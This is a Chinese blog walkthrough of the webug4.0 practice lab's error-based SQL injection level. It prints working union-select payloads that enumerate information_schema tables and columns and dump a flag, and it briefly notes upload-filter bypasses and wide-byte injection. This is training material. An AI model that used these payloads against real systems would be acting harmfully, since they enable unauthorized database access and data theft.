webug4 0 顯錯注入

2021-09-26 09:19:07 字數 2102 閱讀 4804

0x01 mysql資料相關知識

1. mysql三種注釋風格:

單行注釋:sql語句後使用字元#或者--進行注釋

多行注釋:使用/* */將sql語句圈起來注釋

內聯注釋:內聯注釋是mysql資料庫為了保持與其他資料庫相容,特意新增的新功能。把mysql特有的語句放在/*! */中

2.union聯合查詢:

1.union操作符用於拼接兩個或者多

select

查詢語句

2.union中的每個查詢必須擁有相同的列數

3.order by語句:

1.order

by語句用於根據指定的列對結果集進行排序

2.order

by語句預設按照公升序對記錄進行排序

4.sql注入常用的函式: 1.

user()

當前使用者名稱

current_user()

當前使用者名稱(許可權)

database()

當前資料庫

version()

資料庫版本

@@datadir()

資料庫路徑

load_file()

讀檔案into outfile() into dumpfile

寫檔案@@basedir()

mysql安裝路徑

0x02 漏洞利用

發現注入點之前先檢視一下自己伺服器上的phpstudy版本是不是下面這個版本:如果不是請切換,如若不然不會報錯。

1.開啟靶場,發現url引數id為1,嘗試修改為2 發現回顯hello,修改為3 發現正常無回顯 我們好像意識到了什麼。。。

2.探測是否為注入點,經典加  '  進行探測

發現報錯

3.簡單構造語句

發現空格沒被過濾,但是#號被過濾了

4.試用#的url編碼%23嘗試繼續注入

發現沒有報錯 問題解決 我們繼續

5.通過union判斷表中列數(也可通過order by進行探測 )

發現報錯 繼續探測二列

正常 並且回顯2 三列不用探測就知道他是會報錯的

6.使用函式替換數字1或2

發現回顯

把user()改為database() 發現資料庫webug,別的函式自行按照需要替換即可

'union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23
發現目標flag表

8.檢視flag資料表中的資料段

' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23
發現目標flag段

9.檢視資料段內容

' union select 1,flag from flag %23
發現flag值

10.提交flag

0x03 總結

比較簡單,沒有什麼過濾和waf啥的,傻瓜式提交即

webug4 0 寬位元組注入

在php mysql中,可以通過轉義特殊字元來防止汙染sql語句 防注入 有兩種情況 魔術引號,magic quote gpc 開關,不過高版本的php將去除這個特性 安全函式,addslashes,mysql real escape string,mysql escape string等。上有計策...

webug4 0 命令執行

0x01 漏洞利用 1.首先開啟頁面報錯 parse error syntax error,unexpected inc phpstudy www control more tp5 thinkphp library think loader.phpon line21遇到以上錯誤 以後大家記住了,就是...

webug4 0靶場之檔案上傳

webug4.0的檔案上傳靶場包括以下關卡 上傳前將php檔案字尾改為jpg繞過前端字尾名判斷 抓包修改為.php即可 從響應包中得到儲存路徑,訪問讀取phpinfo。繞過前端驗證後改為php字尾時,發現php字元被過濾 改用pht沒有反應,改大小寫也無果 最後發現雙寫php即可繞過 得到上傳路徑,...